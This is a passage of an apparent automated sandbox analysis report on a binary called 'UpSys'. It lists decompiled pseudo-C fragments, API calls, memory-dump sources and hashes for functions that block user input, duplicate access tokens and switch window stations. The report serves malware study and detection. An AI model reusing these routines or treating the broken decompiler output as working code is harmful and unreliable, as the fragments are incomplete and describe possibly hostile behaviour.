                                                                                                                                                                                                        			E0000000114006F660(void* __esi, long long __rbx, long long __rcx, void* __rdx, long long __rsi, signed int* __r8, long long _a8) {
				void* _v568;
				void* _v572;
				void* _v600;
				intOrPtr* _t23;
				signed long long _t24;
				signed long long _t26;
				signed long long _t28;

				_t41 = __rsi;
				_a8 = __rbx;
				_t23 =  *((intOrPtr*)(__rdx + 8));
				_t26 = __rcx;
				E00000001140062190(_t23,  *_t23);
				FindFirstFileW(??, ??);
				if (_t23 != 0xffffffff) goto 0x4006f6ba;
				E00000001140007A40(__rcx, __r8, __rsi);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = 1;
				_t24 =  *((intOrPtr*)(__rcx));
				r8d = 0;
				E0000000114000FCA0(1, _t24, __rcx,  *((intOrPtr*)(_t24 + 4)) + __rcx, _t41);
				goto 0x4006f6e4;
				FindClose(??);
				_t28 = _t26 << 0x00000020 | _t24;
				E00000001140007A40(_t28, __r8, _t41);
				__r8[2] = 2;
				 *__r8 = _t28;
				return 0;
			}










                                                                                                                                                                                                        0x14006f660
                                                                                                                                                                                                        0x14006f660
                                                                                                                                                                                                        0x14006f66d
                                                                                                                                                                                                        0x14006f671
                                                                                                                                                                                                        0x14006f67a
                                                                                                                                                                                                        0x14006f687
                                                                                                                                                                                                        0x14006f691
                                                                                                                                                                                                        0x14006f696
                                                                                                                                                                                                        0x14006f69b
                                                                                                                                                                                                        0x14006f6a3
                                                                                                                                                                                                        0x14006f6a6
                                                                                                                                                                                                        0x14006f6a9
                                                                                                                                                                                                        0x14006f6b3
                                                                                                                                                                                                        0x14006f6b8
                                                                                                                                                                                                        0x14006f6bd
                                                                                                                                                                                                        0x14006f6d2
                                                                                                                                                                                                        0x14006f6d5
                                                                                                                                                                                                        0x14006f6da
                                                                                                                                                                                                        0x14006f6e1
                                                                                                                                                                                                        0x14006f6f6

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$CloseFileFirst
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2295610775-0
                                                                                                                                                                                                        • Opcode ID: 4af4d86561fa030825ab100131912ccc06d0548b3bce978910d96f443e38f98d
                                                                                                                                                                                                        • Instruction ID: 0d728c870696fbfbc3900c567fd42f799ffb1a2e4bc6969205e178f4af578452
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4af4d86561fa030825ab100131912ccc06d0548b3bce978910d96f443e38f98d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BF019E7270464082EB10DB26F5943ADA361F789BE0F14C620FF2D07BA2CF78C4648700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006AAF0 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 16%
                                                                                                                                                                                                        			E0000000114006AAF0(long long __rbx, void* __rdx, long long __rsi, long long __r8, long long _a8) {
				intOrPtr _t5;

				_a8 = __rbx;
				_t5 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				if (_t5 != 0) goto 0x4006ab11;
				goto 0x4006ab16;
				__imp__BlockInput();
				E00000001140007A40(__r8, __r8, __rsi);
				 *((intOrPtr*)(__r8 + 8)) = 1;
				 *((intOrPtr*)(__r8)) = _t5;
				return 0;
			}




                                                                                                                                                                                                        0x14006aaf0
                                                                                                                                                                                                        0x14006ab04
                                                                                                                                                                                                        0x14006ab0b
                                                                                                                                                                                                        0x14006ab0f
                                                                                                                                                                                                        0x14006ab16
                                                                                                                                                                                                        0x14006ab21
                                                                                                                                                                                                        0x14006ab26
                                                                                                                                                                                                        0x14006ab2d
                                                                                                                                                                                                        0x14006ab3b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BlockInput
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3456056419-0
                                                                                                                                                                                                        • Opcode ID: ee98cffe9eeb9507e7a34e6f67909932292903f7b2c30e78b6f7d393ad25cc07
                                                                                                                                                                                                        • Instruction ID: e17800b6d44f6473866120223da8e59380aaa8d71a7653c3508c42877ab9a64e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ee98cffe9eeb9507e7a34e6f67909932292903f7b2c30e78b6f7d393ad25cc07
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 14E0923230024082EB059F33E4913AD62A1E78CBC4F689425EF4A8B3A2DE7CC8D18B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019460 Relevance: 1.5, APIs: 1, Instructions: 22timeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSystemTimeAsFileTime.KERNEL32(?,?,?,000000014004F570,?,?,?,0000000140058F25), ref: 000000014001946E
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Time$FileSystem
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2086374402-0
                                                                                                                                                                                                        • Opcode ID: da3e6197d05ea9763f7e4c5c343f7898072e1622ee57c9738ce24c00e6f87af8
                                                                                                                                                                                                        • Instruction ID: 66ab859d42ff6fc4ea2c5b47c32308dc70740677c41ab8c56ebf9b7d5536dc4c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: da3e6197d05ea9763f7e4c5c343f7898072e1622ee57c9738ce24c00e6f87af8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 75E0D8F272594842EE11DB1AE4157556291FF18FF0E04A321AE7D0F7F8EB2CC4518300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002CAC0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 45%
                                                                                                                                                                                                        			E0000000114002CAC0() {
				signed int _v16;
				char _v18;
				char _v24;
				signed int _t10;
				signed long long _t14;
				long long _t16;
				void* _t20;
				void* _t21;
				signed long long _t22;
				void* _t24;

				_t14 =  *0x400aeaa0; // 0x9e268096a868
				_v16 = _t14 ^ _t22;
				r9d = 6;
				_v18 = 0;
				if (GetLocaleInfoA(??, ??, ??, ??) != 0) goto 0x4002caf7;
				goto 0x4002cb01;
				E0000000114002D9D0(_t14 ^ _t22, _t16,  &_v24, _t20, _t21);
				return E00000001140028D30(_t10, _t16, _v16 ^ _t22, _t24);
			}













                                                                                                                                                                                                        0x14002cac4
                                                                                                                                                                                                        0x14002cace
                                                                                                                                                                                                        0x14002cad8
                                                                                                                                                                                                        0x14002cae3
                                                                                                                                                                                                        0x14002caf0
                                                                                                                                                                                                        0x14002caf5
                                                                                                                                                                                                        0x14002cafc
                                                                                                                                                                                                        0x14002cb12

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InfoLocale
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2299586839-0
                                                                                                                                                                                                        • Opcode ID: 56652a57e14164f93660fc9e632a37740351aec581bf556d1fb0104360b458f9
                                                                                                                                                                                                        • Instruction ID: 361763638f51cacb2f235a916049b507cb9d6de762255ccdb32b9248c92dfbd1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 56652a57e14164f93660fc9e632a37740351aec581bf556d1fb0104360b458f9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D3E0653561868081F6329712E4517CB6750F7AC7D8F900216FB8D476F5DA3CC545CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400290A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3192549508-0
                                                                                                                                                                                                        • Opcode ID: e93935e81d3ee06afb512fb878d1fa5044848e931871adbd3b7cc8e480a85e50
                                                                                                                                                                                                        • Instruction ID: 6e7b7fa136f69ec78672401e55283bace7b681443857575821005bcc23562913
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e93935e81d3ee06afb512fb878d1fa5044848e931871adbd3b7cc8e480a85e50
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0BB01234B61804C1D605EF23ECC57C012B47B5C380FD00410D20D82130DB3C85BBC700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140029B38 Relevance: 53.8, APIs: 43, Instructions: 94COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$ErrorLastPrivilegeRelease_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1805546551-0
                                                                                                                                                                                                        • Opcode ID: eced04d7d797503b38bca1cd5157793a70b0406a032381f9fd4c8d4fe1415b8f
                                                                                                                                                                                                        • Instruction ID: 418451865445484ba94f45c54e1caffe0659815ed9a019365b8e2fd21cfc863f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eced04d7d797503b38bca1cd5157793a70b0406a032381f9fd4c8d4fe1415b8f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8C41823725144081EA47AB62D9527EC13F0AB8DB94F444872FB4EAF2B7CE22DC458350
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003D990 Relevance: 39.2, APIs: 26, Instructions: 164windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1996641542-0
                                                                                                                                                                                                        • Opcode ID: 687ba01e097eec35fca182504c4dc85d659ac9c4aa55b2f1b435075572117e5c
                                                                                                                                                                                                        • Instruction ID: 882bc7b04dabdbd43806b9a65788ffe93541b77d1acd276aeb7bf42b7c76817a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 687ba01e097eec35fca182504c4dc85d659ac9c4aa55b2f1b435075572117e5c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 82613036604A8087EB169F26E954BAAB761F78DBE0F104226FF5A477B4DF3CC4498700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002A090 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 130libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A0CD
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A0E9
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A111
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A11A
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A130
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A139
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A14F
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A158
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A176
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A17F
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A1B1
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A1C0
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A218
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A238
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,000000014001EF08,?,?,?,?,?,000000014001EF9C), ref: 000000014002A251
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Pointer$AddressDecodeProc$Encode$LibraryLoad
                                                                                                                                                                                                        • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
                                                                                                                                                                                                        • API String ID: 3085332118-232180764
                                                                                                                                                                                                        • Opcode ID: 5d7aa1450c4eac80d3aa2c25dbdc0458eee53d7a23247f225e13784a5315989f
                                                                                                                                                                                                        • Instruction ID: eb3208f4ce5c5a5ec83bc540c4f809c0f799b412b9a2bf8e38daa7044f43497a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5d7aa1450c4eac80d3aa2c25dbdc0458eee53d7a23247f225e13784a5315989f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2551D231602F4181FE57EB9BA8503E423A1BB8EBD0F494429BF1E477B1EE7DC9498200
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140053100 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 223processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 29%
                                                                                                                                                                                                        			E00000001140053100(void* __ecx, void* __esp, long long __rbx, long long __rcx, long long __rdx, signed long long __r8, void* __r9) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t90;
				void* _t100;
				void* _t107;
				void* _t123;
				void* _t153;
				long _t154;
				long _t155;
				void* _t159;
				WCHAR* _t202;
				signed long long _t203;
				signed long long _t204;
				long long _t205;
				int _t210;
				long _t213;
				void* _t215;
				void* _t216;
				void* _t232;
				struct _SECURITY_ATTRIBUTES* _t236;
				long _t240;
				void* _t244;
				long long _t245;

				_t153 = _t215;
				 *((long long*)(_t153 + 0x18)) = __rbx;
				 *((long long*)(_t153 + 8)) = __rcx;
				_t216 = _t215 - 0xe0;
				_t203 = __r8;
				_t245 = __rcx;
				_t211 = __rdx;
				_t4 = _t213 + 0x38; // 0x38
				r8d = _t4;
				_t159 = __r9;
				 *(_t216 + 0x68) = _t213;
				 *(_t153 - 0x88) = _t213;
				 *(_t216 + 0x98) = _t213;
				 *(_t216 + 0x60) = _t213;
				 *(_t153 - 0x90) = _t213;
				E00000001140017520(_t90, __ecx, 0, _t153 - 0x78, __rdx, __r8);
				_t11 = _t213 + 1; // 0x1
				_t123 = _t11;
				 *((intOrPtr*)(_t216 + 0xa0)) = 0x38;
				_t120 =  !=  ? _t123 : bpl & 0xffffffff;
				 *((long long*)(_t216 + 0xa8)) = __rdx;
				 *((intOrPtr*)(_t216 + 0x128)) =  !=  ? _t123 : bpl & 0xffffffff;
				 *((long long*)(_t216 + 0x30)) = _t216 + 0x68;
				 *(_t216 + 0x28) = 0;
				 *(_t216 + 0x20) =  *(_t216 + 0x140);
				if (E00000001140043E30(_t159, __rdx, __r8, _t159) == bpl) goto 0x4005346f;
				if (( *(_t216 + 0x140) & 0x00000002) == 0) goto 0x4005320b;
				_t154 = _t216 + 0x70;
				_t26 = _t213 + 2; // 0x2
				r9d = _t26;
				 *(_t216 + 0x28) = _t154;
				r8d = 0;
				 *(_t216 + 0x20) = 1;
				if (DuplicateTokenEx(_t244, _t240, _t236) == 0) goto 0x4005346f;
				CloseHandle(_t232);
				 *(_t216 + 0x68) =  *(_t216 + 0x70);
				r8d = 0x60000;
				OpenWindowStationW(_t202, _t210, _t213);
				if (_t154 == _t213) goto 0x4005346f;
				_t204 = _t203 | 0xffffffff;
				if (_t154 == _t204) goto 0x4005346f;
				GetProcessWindowStation();
				 *(_t216 + 0x98) = _t154;
				if (SetProcessWindowStation(??) == 0) goto 0x4005346f;
				r9d = 0x60081;
				r8d = 0;
				OpenDesktopW(??, ??, ??, ??);
				if (_t154 == _t213) goto 0x4005346f;
				if (_t154 == _t204) goto 0x4005346f;
				_t100 = E00000001140043E80( !=  ? _t123 : bpl & 0xffffffff, 0, _t159, _t245,  *(_t216 + 0x68), _t213, _t216 + 0x90);
				if (_t100 == bpl) goto 0x4005346f;
				 *(_t216 + 0x70) = bpl;
				 *(_t216 + 0x71) = 0xb;
				 *((intOrPtr*)(_t216 + 0x74)) = 0xf0000000;
				 *(_t216 + 0x7c) = bpl;
				 *((char*)(_t216 + 0x7d)) = 4;
				 *((intOrPtr*)(_t216 + 0x80)) = 0xf037f;
				 *(_t216 + 0x20) = 2;
				if (E00000001140052E70( !=  ? _t123 : bpl & 0xffffffff, 0, _t159, _t245, _t154, _t211,  *((intOrPtr*)(_t216 + 0x90)), _t216 + 0x70) == bpl) goto 0x4005346f;
				 *(_t216 + 0x70) = bpl;
				 *(_t216 + 0x71) = bpl;
				 *((intOrPtr*)(_t216 + 0x74)) = 0xf01ff;
				 *(_t216 + 0x20) = 1;
